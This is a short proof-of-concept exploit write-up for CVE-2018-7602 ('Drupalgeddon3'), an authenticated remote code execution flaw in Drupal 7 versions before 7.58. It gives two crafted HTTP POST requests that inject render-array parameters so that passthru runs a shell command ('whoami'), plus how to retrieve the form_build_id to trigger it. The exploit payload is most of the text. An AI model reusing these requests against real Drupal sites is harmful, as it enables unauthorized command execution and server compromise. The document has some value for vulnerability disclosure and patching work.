Drupal drupgeddon3 Remote Code Execution

This is a simple proof of concept exploit for Drupal versions prior to 7.58 that demonstrate the drupalgeddon3 authenticated remote code execution vulnerability.

MD5 | cb5df24a44e9d9968b796e9f48b7d135

This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.

You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).

POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1

Retrieve the form_build_id from the response, and then triggering the exploit with :

POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1

This will display the result of the whoami command.

Patch your systems!

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